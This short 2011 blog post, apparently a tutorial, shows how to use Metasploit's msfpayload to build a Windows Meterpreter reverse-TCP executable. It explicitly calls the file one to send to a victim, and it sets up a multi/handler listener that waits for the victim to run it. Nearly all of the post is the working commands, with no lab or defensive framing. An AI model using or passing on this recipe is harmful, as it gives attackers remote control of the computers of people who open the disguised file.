Friday, 30 September 2011

How to create a binary file with metasploit

This is a how to create a binary file that will be sent to the attacking victim , so first you create the binary file with metasploit , send to the victim and prepare the server to wait for the connection.

cd /pentest/exploits/framework3
./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=8888 X > /var/www/exploits/reverse_shell_meterpreter.exe
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 8888

Now your server is waiting for the client , when he opens the file, you will get your meterpreter session on his computer.

No comments:

Post a Comment